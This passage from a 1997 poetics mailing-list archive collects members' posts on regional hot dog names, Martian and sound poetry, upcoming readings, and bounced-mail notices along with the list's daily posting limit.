Calling hot dogs 'Coney Islands' or, better yet, 'Coneys,' predates by several decades the 70's brand name--they were served on the boardwalk long before. I think that the excellent book -Roadfood- (a state-by-state guide to the niceties of local vernacular cuisine) sheds some light on this. Can't recall the authors' names, I'm afraid. Actually, now that I think of it, the technical term is 'Coney Island Red Hots,' I think because of the pepper flakes within. And let's not even start on the regional variants on hot dog condiments--the Chicago dog with its celery salt, the slimy red relish indigenous to New York, Pink's chili (loved by Howard Hughes and also rumored to be horsemeat--see James Ellroy's 'Hollywood Nocturnes') here in L.A.

On an equally 'pop' note--an excellent versions of You're Gonna Miss Me (R. Erickson) have also been recorded by The Lazy Cowgirls. But I don't believe for a minute it's about Martians. Now, The Rezillos' "Flying Saucer Attack," or Twinkeez' amazing single "Aliens In Our Midst"...and that old novelty hit "Martian Hop," there's some homophonic translation for you.

Which reminds me--is Andrews' ongoing -Paradise- really a homophonic translation of Dante? From what I read of his working method it -Paradise and Praxis- it would seem otherwise.

diggity,
fjb

↑ Index

806. David R. Israel
Re: repetitions
Thu 24 Jul 1997

Charles Alexander wrote --

> *I agree with Joel that repetitions of topics within short time frames can be frustrating. But I think web behavior is such that there's not much to do about this. People do come onto lists all the time and have concerns that have come up before. . . .*

I've been reading ~85-95% of the poetics posts since Feb. of this year, and haven't seen the repetitions that Joel mentioned -- so I guess these exceed a strech of 6 months anyway. Also to note, if (as Joel did) one sits down and pores over everything from a period of several weeks, that's a different relationship with a listserv than if one reads & participates on a day-to-day basis. The way discussion emerges *in situ* and develops, suggests the organic life of

discourse in a way that a retrospective read (transcript) of the proceedings won't necessarily serve to illuminate. What folks talk about over coffee may also exhibit thematic repetition & incremental variation, but to what extent is that a useful critique of the discussion practice? Also (finally) to note, Joel did seemingly get some of the controversial / controverted facts a bit wrong, anent the KD diatribe dialogue . . . but I think I'll let a sleeping dog lie . . .

hot (dog) today / cold (dog) tamale,
d.i.

↑ Index

807. Jordan Davis
Lip Service / Hughes Mouth Marble
Thu 24 Jul 1997

Dear Franklin
when it comes to BA's method I'm a duffer
you're better off asking a pro
but each time I hear him read it he says
this is the first song off our new album
no
this is from my sound translation of Dante's Paradiso
is what he says (I say)
the poem's called "Lip Service" and parts of it
were in Brian Kim Stefans' excellent magazine, _Arras_
anyway what ever happened to Dale Herd?
To Curtis Faville?
To Charlie Vermont?
To Dee-dee Susan Dubelyew?
walking through Union Square last night
heard Ed Sanders and Eileen Myles read
Eileen got to say Fuck You to the Barnes & Noble marquee
it was a very pleasant evening
they both read very well I thought to a loosely assembled crowd
of young thugs in the breeze
afterwards Lisa Jarnot reintroduced me to Ed which was cool
Anselm Berrigan was there
so was Simon Pettet reclining on the pavement
Ed Friedman was a sort of cohost
Ed Sanders had read from 1968 Eileen read from School of Fish
Anyway
How are things out there?
Jordan

↑ Index

808. **dbkk**
Re: dog days
Thu 24 Jul 1997

At 10:25 PM -0700 7/23/97, George Bowering wrote:
>>Little dogs with dough wrapped around them are called pigs in the blanket,
>>a term I find jarring because, being raised in the Melting Pot, when we
>>spoke of pigs in the blanket, we meant stuffed cabbages.
>>
>>Dodie
>
>The latter we call something spelled different, but sounding like
>"holopshey" (i.e. try to get a Slavic spelling of it.

We said something like golumpky--I bet it's the same word. The Polish ones were called kaPUsta, the Hungarian (made with sauerkraut) ones called KA-pusta.

Dodie

↑ Index

809. **Henry Gould**
Re: dog days
Thu 24 Jul 1997

On Thu, 24 Jul 1997 09:52:04 -0700 <[redacted]> said:
>We said something like golumpky--I bet it's the same word. The Polish ones
>were called kaPUsta, the Hungarian (made with sauerkraut) ones called
>KApusta.
>
>Dodie

and in Italy, if the meat was over 75 years old, it was called "attsa KAPUTSA". That is, until around 1912, when they started the Milan Chuwowzi Pup races, which involved literally thousands of lil weenie dogs from Venice running their buns off around Piazza della Spliatza. 4 sectors of the city would compete ferociously year after year, & this, according to Dr. Simonetta Frankcesca-Giuliani of Torno Ospedale, was instrumental in preserving them links for at least another ten years of active bird-doggin'.

- Jack Spandrift

"Blarnsey loves the teacher
on tip-toe he can reach her
--he's a bird-dog."

↑ Index

810. **dbkk**
Re: dog days
Thu 24 Jul 1997

At 5:11 AM -0400 7/24/97, charles alexander wrote:

> *yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a stick" --that is, impaled on a disposable, slender wooden wand.*
>
> *I just assumed everyone grew up with these as standard fare every couple of weeks in their public school cafeterias. And they're still present, as my elementary school daughter knows.*

Actually, there used to be a stand outside the Cliff House out by the ocean here in SF where they sold the *best* corn dogs and they were called Pronto Pups, which may be a brandname. This was before I was a vegetarian--now I eat Tofu Pups and Smart Dogs. The stand may still be there, I haven't been out there in years.

Dodie

↑ Index

811. **Rebecca Reynolds**
Re: dog days
Thu 24 Jul 1997

---

dog to cat:
pig in the blanket reminds me of pig in the poke (they used to sell
pigs in sacks, or "pokes"), but there was a scam in which
a cat would be substituted for the pig--unbeknownst to the buyer.
Hence "letting the cat out of the bag."

Personally, I would not eat a hot cat.

Regional hors d'oevres: I grew up in a vaguely Jewish household in one of the whiter sections of Washington, D.C., so I missed out on a local dialect (*). Anyway, we did not have pigs in blankets--just chopped liver and those little pieces of dense, cocktail pumpernickel. It isn't too hard to figure out where the term "chopped liver" comes from; but had we HAD pigs in the blanket, I would have been preoccupied. Think I associated "hot dog" with puppy dog tails--purely visual, slightly you know what. Then, the proximity of "buns."

*much speculation/justification here

--rreynolds

> *Little dogs with dough wrapped around them are called pigs in the blanket, a term I find jarring because, being raised in the Melting Pot, when we spoke of pigs in the blanket, we meant stuffed cabbages.*
>
> *Dodie*

↑ Index

812. **Judy Roitman**

Re: dog days

Thu 24 Jul 1997

> *At 5:11 AM -0400 7/24/97, charles alexander wrote:*
>
> *yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a stick" --that is, impaled on a disposable, slender wooden wand.*
>
> *I just assumed everyone grew up with these as standard fare every couple of weeks in their public school cafeterias. And they're still present, as my elementary school daughter knows.*
>
> *Actually, there used to be a stand outside the Cliff House out by the ocean here in SF where they sold the *best* corn dogs and they were called Pronto Pups, which may be a brandname. This was before I was a vegetarian--now I eat Tofu Pups and Smart Dogs. The stand may still be there, I haven't been out there in years.*
>
> *Dodie*

Yeah, I remember those. Meanwhile back at the tofu corral, Morningstar Farms makes dynamite veggie hot dogs, the best.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

813. Charles Alexander
Re: dog days
Thu 24 Jul 1997

At 10:16 AM 7/24/97 -0700, you wrote:
>Actually, there used to be a stand outside the Cliff House out by the ocean
>here in SF where they sold the *best* corn dogs and they were called Pronto
>Pups, which may be a brandname.

And is there still a Doggie Diner in SF? Or is/was that a wider chain? I remember it from the early/mid 1970's . . .

nothin' could be finer
than to eat at doggie diner
in the mornin'

charles
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

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814. henry
Re: L-Dopa
Thu 24 Jul 1997

Thanks Herb, intrsting comments - just a couple quick bops on the head -

thinking about the "bop" speed of change in both invention/reception of 20th cent poetry - may have seemed exc ruciatingly slow to its inventors - but to MW's "generation" - it's all suddenly available-millenial - enlarged keyboard both energizing & dismaying (i.e. the speed-up of hype following closely after the bop; the troubles with the ephebe-echo- effect (called 3-cubed on Mars)) -

chaos/energy/entropy/noise

things fall together, the hold cannot center, as S.T. Aeybw once said -

or, where's East in this yeast? to the North? Dizzy know or not?

- HG

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815. Lawrence Upton
Mail failure
Thu 24 Jul 1997

Well i dont know who AMS/CLLBMCS/POSTMASTER is but she has a hell of a nerve ---------- Forwarded Message ----------

FROM: AMS/CLLBMCS/POSTMASTER
TO: Lawrence Upton DATE: 07-24-97
TIME: 10:19
SUBJECT: Mail failure
---

[005] Mail retry count exceeded sending to:
AMS /AMGSP2

---------- FROM: Lawrence Upton (SMTP:[redacted])

TO: SMTP:[redacted]

SUBJECT: Re: What came before?a Martian poetics 1916

<<Wasn't there a whole "martian school" of poetry in Britain during the 70's-80's, centered around Craig Raine's "A Martian Sends a Postcard Home?"

Hugh Steinberg>>

the poems werent really that _martian_ whatever that is - i.e. they were workaday with a gimmick
the poems werent *that* good
the mechanics of it were in part a variation on competitions to identify a familiar object from an unexpected angle

cleverness rather than wit

lots of imitators
easy to explain in newsbite format
martian postcard became an easy category

very popular in schools / for simplistic _creative writing_

me i wld rather read anglo saxon riddles
or something else

Lwrence Upton

↑ Index

816. **Layne Russell**

Re: russian river writers guild reading in sonoma town

Thu 24 Jul 1997

David Bromige wrote:
>
> I thought everyone read well. I was struck by the _physicality_ of the
> readers--two dancers, an ice-skater-turned-long-distance cyclist, a
> maseuse,a long-distance runner : and was wondering whether the learned
> ability to objectify one's body doesnt bleed over into an awareness of the
> poem as an autonomous object--an awareness so often missing in your
> would-be poet, an awareness that understands poetry is something else than
> "i open my mouth and the words stream out, bound for poetry!" Layne
> Russell, Catherine Bowers, Cydney Chadwick, Jayne MacPherson, Karen
> Eberhardt--thanks to you all.

Interesting observation, David. I think all poets/writers do "bleeds over" into their poetry/writing. Certainly the physicality would too, IMO. Another aspect...I have always seen the similarity/correlation/overlap/etc. between music, dance, and poetry. They definitely bleed into one another for me. I see it as a gift, this bleeding and the fuzzy edges.

[This reminds me that at my reading Friday night the 25th at the Sebastopol Center for the Arts I will be reading a poem called "blood" and also a poem of a dance performance I did years ago with Yvonne Rainer (dance lovers will know who she is!).]

> *The radio i'view Layne Russell alludes to was in fact a talk on Beckett I gave because no-one around here reads him any more as far as I can discover.*

I was booked with wedding biz that night and didn't get to hear it. I didn't know of the topic! Sorry I couldn't report more on that one.

> *On another matter, I am not so much "witty and charming" as indifferent and bewildered, by turns. WWhen I am not getting on someone's case, at which point, nothing is too small for me. I advance these disclaimer because I shall be traveling back east this fall, & want to avoid disappointing people looking for noel coward. I'm a grumpy old fart, but you can still be my friend. David B*

...naw, really, David _is_ witty and charming. I will not retract my statement. I love the asides before the poems...kind of a mumbling aloud about them...almost like talking to himself. I should try this technique.

Layne

[redacted]
http://www.sonic.net/layne
"A Quiet Place" -- Poetry
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

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817. Judy Roitman
Re: Mail failure
Thu 24 Jul 1997

> *Well i dont know who AMS/CLLBMCS/POSTMASTER is but she has a hell of a nerve*
> *---------- Forwarded Message ----------*
>
> *FROM: AMS/CLLBMCS/POSTMASTER*
> *TO: Lawrence Upton DATE: 07-24-97*
> *TIME: 10:19*
> *SUBJECT: Mail failure...*

This is the 3rd or 4th message like this today. No need. All that "mail failure" means is that Poetics is maxed out and your message will get sent after a (short or medium) wait, almost always within a day.

So by resending mail failure messages you're just increasing the likelihood of someone else getting a mail failure message, and sending your message twice.

Not that AMS/CLLBMCS/POSTMASTER makes this very clear.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

818. henry
Re: another production idea
Thu 24 Jul 1997

Hi Steve -

Our Little Group met again finally... what do you think of meeting sometime in August with some of us down at George's fish place in Galilee (ever been there?) to talk poetry theater? it's a good halfway point.

regards, Henry

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819. **henry**
sorry
Thu 24 Jul 1997

---

o dern... sorry folks. I thought maybe the poetics address wore off of messages you don't reply to for a month or so. how wrong can you be. - Henry Gould

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820. **Mark Weiss**
Re: Mail failure
Thu 24 Jul 1997

Y3eah, I've been getting a lot of these, in re: my mail, but also Bowering's. Anybody know what gives?

At 03:11 PM 7/24/97 -0400, you wrote:
>Well i dont know who AMS/CLLBMCS/POSTMASTER is but she has a hell of a nerve
>---------- Forwarded Message ----------
>
>FROM: AMS/CLLBMCS/POSTMASTER
>TO: Lawrence Upton DATE: 07-24-97
> TIME: 10:19
>SUBJECT: Mail failure
>----------
>
>[005] Mail retry count exceeded sending to:
> AMS /AMGSP2
>
>----------
>FROM: Lawrence Upton (SMTP:[redacted])
>
>TO: SMTP:[redacted]
>
>SUBJECT: Re: What came before?a Martian poetics 1916
>
>----------
>
><<Wasn't there a whole "martian school" of poetry in Britain during the
>70's-80's, centered around Craig Raine's "A Martian Sends a Postcard Home?"
>
>Hugh Steinberg>>
>

>the poems werent really that _martian_ whatever that is - i.e. they were
>workaday with a gimmick
>the poems werent *that* good
>the mechanics of it were in part a variation on competitions to identify a
>familiar object from an unexpected angle
>
>cleverness rather than wit
>
>lots of imitators
>easy to explain in newsbite format
>_martian postcard_ became an easy category
>
>very popular in schools / for simplistic _creative writing_
>
>me i wld rather read anglo saxon riddles
>or something else
>
>Lwrence Upton
>
>

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821. **Steven Marks**

Re: sorry

Thu 24 Jul 1997

Oh God! Now everybody is going to know that I've met Henry Trinity in person. Well, nothing to say except that he is 85 years old, about 6' 7" and built like a linebacker. It's that good drinking water they get out of Narragansett Bay. The same water that probably went in the beer by the same name and the incomparable and lately lamented Heffenrefer Private Stock Ale which had sort of greenish cast to it, especially under a black light. But then again, it could have been the herb I was smoking in high school.

like wow, man,
Steven

On Thu, 24 Jul 1997, henry wrote:

> *o dern... sorry folks. I thought maybe the poetics address wore off*
> *of messages you don't reply to for a month or so. how wrong can you be.*
> *- Henry Gould*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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822. **David Israel**

Re: Mail failure

Thu 24 Jul 1997

Mark Weiss inquires:

> *Y3eah, I've been getting a lot of these, in re: my mail, but also Bowering's. Anybody know what gives?*

well, since you asked,
h4ere's a c5opy of my b6ackchannel r7eply to J8udy -- [that's a typo joke, btw (but not a very funny typo joke, just a bland type)] --

/ / / /

just a little techno note here -- I believe the message generated under the circumstance you refer to (i.e., where the listserv has maxed out) has a different subject heading than "mail failure."

This mail failure is a different situation -- it indicates that one particular subscriber's address is no longer active (or something like that) -- ergo, that particular subscriber didn't get reached, and their server is letter you know that said server isn't serving them.

You're quite correct, though, in your observation that the REST of the listserv population HAS successfully rec'd the particular item in question. I'm sure our good list-master will clear up the failure mailee (i.e., remove a non-working address from the list -- or whatever procedure is appropriate for such situation) --

and meanwhile, it's quite correct that there's no need to re-post in such a situation (but this simply provides a somewhat different explicatory background for that same general conclusion) . . .

/ / /

anyway, that's how I reads it.
d.i.

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823. **David Bromige**
mail failure
Thu 24 Jul 1997

Possibly this has something to do with the list's 50-message per diem limit having been exceeded?

In a possibly related story, the prize for the most posts since i last checked my in-bin will be shared between george bowering & henry gould, although since 2 of gb's were "failed mail" reruns, perhaps henry should get the prize outright. Each of them managed 8 postings. We realize that, if everyone posted 8 times within 24 hours, only 6 1/4 persons would be able to get on the list in that time period. So what! This is capitalism at its finest! First come first served.And the devil take the hindmost.

Only an old lefty like me would think of saving it up & doing a post that covers several topics. Heck, I still let people get out of the elevator before beginning to step into it.

George & Henry won pulling away from the race for third place. That, too, is shared, if my calculations are correct, among Mark Weiss,Judy Roitman, Maria Damon and David Israel (a quiet day for David). Each posted 4 times. At 4 times per person per diem, 12 1/2 persons would be able to get on the list. I should note that one of Judy's, however, and one of Mark's (I _think_), was a "failed mail", so perhaps they didn't finish as close to the front runners as I have suggested.

Charles Alexander, Herb Levy, is it Hugh? Steinberg, Dave Chirot, Kevin & Dodie, al;though managing 3 each, finished way out of the money. At 3 per diem, 16 2/3 persons could post to the list per day.

I myself have more than once exceeded the 3 per diem mark, but I do try to keep it down.

A number of these multiple postings held my interest. The problem is the 50-per-day limit, as I see it. Cant it be changed? It sounds so arbitrary (why not 49 or 51?) Whats the reason for it? Do more than 50 messages a day cost the listmaster more?

In a slightly related story, I wondered if George Bowering was hinting at a pun with his "mail" failure--something up (or not up) with his salami?

I enjoy the be-bop discussion--most informative. On hot dogs, I feel that I've eaten a whole bunch, & am maxed out, but thats probably the delicate stomach of one who was made in england.

Well, I hope this covers the ewaterfront & that i dont feel the urge to post again this thursday! But if I do, it will probably turn into "failed mail". In fact, I expect that this will, too--how fitting! David

↑ Index

824. **Pritchett,Pat**
Re: Mail failure
Thu 24 Jul 1997

This may have something to do with my WAN mail server, folks, located in College Station, TX and maintained by parent company. AMS. Oddly, I haven't gotten any of these message - but I haven't been posting either. I'm told, though, that the problem - a corrupted mailbag - has been fixed. Again - I don't know if this is in fact connected to "my" AMS, but if it is - apologies all around.

Patrick Pritchett

From: Mark Weiss
To: POETICS
Subject: Re: Mail failure
Date: Thursday, July 24, 1997 3:16PM

Y3eah, I've been getting a lot of these, in re: my mail, but also Bowering's. Anybody know what gives?

At 03:11 PM 7/24/97 -0400, you wrote:
>Well i dont know who AMS/CLLBMCS/POSTMASTER is but she has a hell of a nerve

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825. **jarnot**
c.s. giscombe
Thu 24 Jul 1997

I'm trying to get in touch with c.s. giscombe. if anyone can give me info, please backchannel. thanks, lisa jarnot

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826. **Charles Bernstein**
The 50 Limit
Thu 24 Jul 1997

>A number of these multiple postings held my interest. The problem is the
>50-per-day limit, as I see it. Can't it be changed? It sounds so arbitrary

>(why not 49 or 51?) What's the reason for it? Do more than 50 messages a day
>cost the listmaster more?
asks David Bromige

50 is the default on the listserve program we use, but yes this can be reset to 49 or 51. There is no limit to the size of individual messages, however, so in general it is better to send one message that responds to several threads, if so inclined.

This issue recurs every six months or so. A few years back I posted this comment:

All of this reminds me of my commitment to keep the scale of this list on the smaller side, not only because I am committed to small-scale exchanges but also because this particular list is not set up -- _I'm not set up!_ -- to handle more volume than we've now got. The paradox is that in an attempt to be open and nonexcluding one can end up excluding those who are unable to handle the volume: people are drowned out rather than kept out -- until Dreamworks Interactive, Inc., guides us and we asphyxiate. My hope is that we have set-up some basic alternative sites: EPC and Poetics are two models, firmly in place. But I certainly don't have the answers and see Poetics as only one of many possible formats for listserve poetry discussion groups.

*** by the way, the "failed mail" messages some of you report as getting are likely just bounced mailed from individual subscribers who did not get your individual post. These only occasionally go out to an individual poster, but they come by the scores to our Poetics account and this is the rather monotonous maintenance task that Joel Kuszai has generously been doing for the past year. When a subscriber's address stops working, we have to manually delete them from the subscription roles. In any case, suffice it so say, we do prefer those list "defaults" that minimize extra maintenance. You get a different message when the 50 limit is reached. The Buffalo listserve generates a message to say that your message is being held until the list is released by the list owner.

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827. **LYNES- KATHERINE**

Re: Mike Gold/katherine anne porter

Thu 24 Jul 1997

Rachel L. wrote:

> *Very odd. Found this, from Katherine Anne Porter, which seems to support the Hofstadter:*
>
> *"Once on the picket line, I took a good look at the crowd moving slowly forward. I wouldn't have expected to see some of them on the same*

> *street, much less the same picket line and in the same jail. I knew very few people in that first picket line, but I remember Lola Ridge, John Dos Passos, Paxton Hibben, Michael Gold, Helen O'Lochlain Crowe, James Rorty, Edna St. Vincent Millay, Willie Gropper, Grace Lumpkin, all very well known then and mostly favorably--most of them have vanished, and I wonder who but me is alive to remember them now? I have a strangely tender memory of them all, as well as the faces of strangers who were being led away by the police.*

where was Katherine Anne Porter saying/writing this? thanks--

kl

↑ Index

828. Lawrence Upton
poetyry reading
Thu 24 Jul 1997

Mainstream and Sub Voicive Poetry announce a reading on the evening of Thursday 28th August 1997 in London UK

The reading will be by Michael Heller, Burt Kimmelman, Ed Foster and Jane Augustine

Venue to be announced

Entrance 5 pounds / 2.50 pounds

Please pass this information on to anyone who may be in London

Thanks

Lawrence Upton

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829. Christina Fairbank Chirot
Re: toads
Thu 24 Jul 1997

On Thu, 24 Jul 1997, Pam Brown wrote:

> Well, my Scottish mother used to cut a hole in a piece of bread and fry an
> egg in it - that's what a toad in the hole must be on the Partick side of
> Glasgow...but it's a good name for your band...In Sydney at the Royal Easter
> Show they used to call the NZ version of a hot dog - saveloys in batter -
> "Pluto Pups" or "Dagwood Dogs" - they were on little plywood sticks and
> covered in tomato sauce...urk
> Pam

>
We call that egg-bread pan fry job "texas-toast" but don't know
the origin of the term. Another de riguer food @ WI State Fair is cream
puffs. . . . w/beer,brats, cheese curds & cream puffs Wisconsinites weigh
in as heaviest peopled state in the USofA
-t in a c

> *Toad In the Hole is a local English Country dance band that i sometimes play with; but we are not thot by most folks to be edible...*
> *my English/American translation dictionary gives "sandwich" as an approx. synonym, as well as the oldtyme advertising sandwich-board...*
>
> *lbd*

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830. **Mark Weiss**
hot dogs I have known
Thu 24 Jul 1997

At 08:29 AM 7/24/97 -0700, you wrote:
>Calling hot dogs 'Coney Islands' or, better yet, 'Coneys,' predates by
>several decades the 70's brand name--they were served on the boardwalk long
>before. I think that the excellent book -Roadfood- (a state-by-state guide
>to the niceties of local vernacular cuisine) sheds some light on this.
>Can't recall the authors' names, I'm afraid. Actually, now that I think of
>it, the technical term is 'Coney Island Red Hots,' I think because of the
>pepper flakes within.
>

I, too, predate the brand name by several decades, a couple of which I spent (weather permitting) getting sunburned and eating hot dogs, garnished with mustard and sand, at Coney Island. They weren't, to the best of my knowledge, served on that boardwalk. "Red hots" was used in some neighborhoods of my youth, and especially at ballparks, as a synonym for an ordinary hot dog. Could this usage pre-brand name, have been attached to the hot dog in the provinces so that it would bask in the reflected glory of the place? Just as there were hot dogs at Yankee Stadium long before "Yankee Franks?" The quintessential Coney Island hot dog was, and is, the "kosher style" all-beef (or so it's claimed) served since before modern sanitation and franchises a block from the boardwalk at Nathan's. The default New York hot dogs have always been, unlike those of other places, primarily beef--witness the Sabrett's wagons. "Le hot dog" is now fairly common in France, but it hasn't displaced another exotic, the far-superior merguez, a Tunisian lamb sausage served with harissa, a red pepper

concoction, and/or dijon mustard. To those with English stomachs--this for me is more about language usage than about food (I've already eaten lunch). There are yet mysteries to plumb here. To add another--why is the frankfurter sometimes a wiener? I don't see how a cummulative (aglutinative?) exchange like this could do anything but eat up message units. The democratic spread of web-time is preserved, it seemeth me, by the frequent descents into lurk-mode of even the most active communicator.

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831. Shaunanne Tangney
Re: hot dogs I have known
Thu 24 Jul 1997

in my family the preference is for "street dogs"--any kind of sausage in a bun served by street vendors. for example, when i liven in boston and my dad came out to visit and i took him to a red sox game, we eschewed anything thay might be selling inside fenway for whatever they were selling on the street. That night we ended up w/ polish sausage w/ peppers and onions in a sour-dough roll--awesome!

another thing my family (well: dad, bro, and i) are big fans of are Top Dogs. Top Dog is a sausage joint in Berkeley and truly one of a kind. tiny, tiny place and all they serve is sausage (polish, keilbasa, brats, etc.) (sometimes cleverly titled: a turkey dog there is a "bird dog") and whenever we are in berkeley we have to make a pilgrimage to Top Dog. been there since the '50s, looks like it, and tastes like it--awesome (again)!

--shaunanne

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832. cris cheek
Re: performance poetry?
Thu 24 Jul 1997

Hi, sorry if this crosses other recent posts, have been off-line for two days and might have missed discussion: but

Doug Barbour's report on Paul Dutton's attempt at a form of purist cleansing within the ranks of 'performance poets' point up a vain folly. There are likely to be as diverse appraoches to the performance of poetries, as to the writings of them. Dutton's deliberations mark out a protectionist approach to parameter formation that does us all a dis-service. I write as someone who considers performance an integral aspect of my 'writing' practice and whose work fits neither comfortably into the slam / rap / epiphanic identikit skools, nor is 'sound' poetry

as such conventions might be referred to in short-hand. The binary, on which Dutton is reported to be deliberating, is appallingly false and crude. It also bears more than a hint of old creaky 'high' 'low' blather. It's the corrupt rump of modernist angst. No thanks.

> *He had decided to define sound poetry in terms of what he & Bob & some of the others mentioned already on the list (Charles Morrow, Jackson Maclow) & to leave out the kind of performance poetry we heard the next evening: a good bit of comedy, too many obvious rhymes (& all hit hard by the voie for some reason), & always a strong narrative (at least from this performer0, yet done with he flair of a standup comic. I would, for the moment, tend to agree with him. His amazing "Stereo Head" is certainly an awesome 'performance' but it is so within extremely strict & demanding *formal* limits, as were the varied pieces of the horsemen. And Cobbing's chants are too. Or any of the others i've already named & many others.*

love and love
cris

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833. **Maria Damon**
Re: toads
Thu 24 Jul 1997

---

speaking of toads i just had the pleasure of rereading don marquis's "warty bliggens the toad" from The Lives and Times of Archie and Mehitabel. like pogo, this seems to be another favorite of the left-leaning tho terrrorized by mc-carthyism and stalinism crowd of the previous generation, namely, my father.

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834. **Lawrence Upton**
Re: Mail failure
Thu 24 Jul 1997

<<This is the 3rd or 4th message like this today. No need. All that "mail failure" means is that Poetics is maxed out and your message will get sent after a (short or medium) wait, almost always within a day.

So by resending mail failure messages you're just increasing the likelihood of someone else getting a mail failure message, and sending your message twice.>>

ok - sorry - i have read ABOUT this but not seen the actual message
i wont do it again
honest

L

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835. **Lawrence Upton**
Re: performance poetry?
Thu 24 Jul 1997

<<Doug Barbour's report on Paul Dutton's attempt at a form of purist cleansing within the ranks of 'performance poets' point up a vain folly. There are likely to be as diverse appraoches to the performance of poetries, as to the writings of them. Dutton's deliberations mark out a protectionist approach to parameter formation that does us all a dis-service. I write as someone who considers performance an integral aspect of my 'writing' practice and whose work fits neither comfortably into the slam / rap / epiphanic identikit skools, nor is 'sound' poetry as such conventions might be referred to in short-hand. The binary, on which Dutton is reported to be deliberating, is appallingly false and crude. It also bears more than a hint of old creaky 'high' 'low' blather. It's the corrupt rump of modernist angst. No thanks.>>

Hi Cris - my emails to you have been bouncing so I am happy to converse via Buffalo. I don't think I have seen / heard what Paul has said and would rather hear what he is saying before saying things like _vain folly_... i did delete a couple of messages by accident but i dont think that was one

Having said that I agree with the undertow... there are not only diverse approaches but also changing perhaps evolving approaches so that the diversity patterns themselves change - by evolving I dont necessarily mean getting better of course... and as with evolution approaches will come into being again and again

and as with evolution if you are doing it then you exist / it exists and it deserves attention even if you dont

all texts are created free and are everywhere in anthologies

almost any binary is likely to be wrong... the answer whatever the question is more than likely to look as though it should be _maybe_ but with a bit more processing power the answer is nearly always seen to be _wrong question_

asking the wrong question isnt a cue to ask the right question - it is an alarm that you have misapprehended the context

terminologies are short hand and therefore unreliable - you enlarge the picture they appear to give and all you get is a page of dots - you have to keep saying at least to yourself what you mean by each term or you start thinking it is real

sound poetry - i _grew up_ with the term but it worries me - it isnt so much that i dont know what _sound poetry_ is - i dont know what _poetry_ is

i think i know it when i hear it

but then I think i am sane

terminologies are useful to help me think and talk about i t - poetry - they are counter productive if the terminologies take over the work always comes first

Lawrence

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836. George Bowering
Re: hot dogs I have known
Thu 24 Jul 1997

All my life I have thought you USAmericans called them "franks" or "frank-furters". Is that something from the olden days? Are they called that anywhere now?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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837. Karen and Trevor
Re: dog days
Thu 24 Jul 1997

Charles Alexander wrote:
>
> At 10:16 AM 7/24/97 -0700, you wrote:
> >Actually, there used to be a stand outside the Cliff House out by the ocean
> >here in SF where they sold the *best* corn dogs and they were called Pronto
> >Pups, which may be a brandname.
>
> And is there still a Doggie Diner in SF? Or is/was that a wider chain? I
> remember it from the early/mid 1970's . . .

I think you're talking about the Doggie Diner on Sloat across from the SF Zoo. It's actually called The Carousel, but we all call it the Doggie Diner. The dog's head is still there, and once featured in Zippy the Pinhead.

And Dodie- When I was in grade school, pronto pups were served in the cafeteria on Fridays. I think they were misnamed; I think now that they were really pups in a blanket.

Karen McKevitt

↑ Index

838. **robert drake**

Re: What came before?a Martian poetics 1916/Performance Poetry

Thu 24 Jul 1997

---

i was thingking abt th recent discuss of Paul Dutton's sound/performance poetry distinctions, thot to go back to _Sound Poetry: A Catalogue_ (ed. by mccaffery/nichol) & see what dutton was saying then, and low & beholden, INSTEAD found another martian ref, our own Lwrence Upton's graphic "from Poems in Polar Martian", which very much reminds me ov an anglosax riddle...

one ov the things most interesting to me about that Catalogue, btw, is the extent to which sound poetry is represented by scores that are more visual poetry than most vispo i see lately... which tends, fr me, to argue against th kind of neat separation into neat catagories that is th oversimplification of pauls arguement. contrarywize, i'm sympathetic to th impulse to try to distinguish among directions... i've performed some sound poetry at slams, and the results aint pretty...

> *<<Wasn't there a whole "martian school" of poetry in Britain during the 70's-80's, centered around Craig Raine's "A Martian Sends a Postcard Home?"*
>
> *Hugh Steinberg>>*
>
> *the poems werent really that _martian_ whatever that is - i.e. they were workaday with a gimmick*
> *the poems werent *that* good*
> *the mechanics of it were in part a variation on competitions to identify a familiar object from an unexpected angle*
>
> *cleverness rather than wit*
>
> *lots of imitators*
> *easy to explain in newsbite format*
> *_martian postcard_ became an easy category*
>
> *very popular in schools / for simplistic _creative writing_*
>
> *me i wld rather read anglo saxon riddles*
> *or something else*

> *Lwrence Upton*

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839. **Steve Shoemaker**
Re: hot dogs I have known
Thu 24 Jul 1997

Mmmmmm, sounds good. I just had a Wholesome and Hearty Foods, Inc. Garden Vegan burger myself, but when i'm back in Maryland i still sometimes go for an Anne's Footlong. It's a tiny, white diner-style place w/ a long counter, an open grill, fry baskets, and those stools you can spin around on. It can be found in Glen Burnie, a suburb in the vicinity of Baltimore (or Balmer, as we like to say) known for its high redneck quotient, and it's been there "forever," even as a giant mall has devoured the entire surrounding area. But if you sit on one those stools you'll have a three-deep crowd breathing down your neck as they shout their orders. The piece de resistance is the "footlong with everything," everything meaning onions, mustard, and a delightful chili-style sauce. When i was a kid i wld always "wash it down" (picture a rather *slo* process) with one of those really sticky-sweet milkshakes in one of *the* three flavors--chocolate, vanilla, or strawberry (you know the *really* pink kinda strawberry where you're never in danger of encountering a stray seed). But the best thing about the place is the waitress/cooks (and tho Anne is retired, her daughters are rumored to still work there). They're amazing. They're gruff, brisk and friendly all at the same time, and no one *ever* writes down an order, no matter how byzantine its requirements.

just a veggie drooling for meat, steve

On Thu, 24 Jul 1997, Shaunanne Tangney wrote:

> *in my family the preference is for "street dogs"--any kind of sausage in a bun served by street vendors. for example, when i liven in boston and my dad came out to visit and i took him to a red sox game, we eschewed anything thay might be selling inside fenway for whatever they were selling on the street. That night we ended up w/ polish sausage w/ peppers and onions in a sour-dough roll--awesome!*
>
